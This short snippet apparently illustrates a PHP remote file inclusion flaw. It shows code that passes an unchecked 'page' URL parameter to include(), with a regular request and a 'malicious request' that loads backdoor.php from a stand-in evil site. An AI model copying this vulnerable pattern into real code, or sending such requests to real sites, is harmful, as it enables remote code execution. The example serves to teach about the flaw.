<?php
  $tainted_page = $_GET['page'];
  include($tainted_page);
  echo "welcome user";
?>

Regular request:
www.walla.com/welcome.php?page=login.php

Malicious request:
www.walla.com/welcome.php?page=https://www.my-evil-site.com/backdoor.php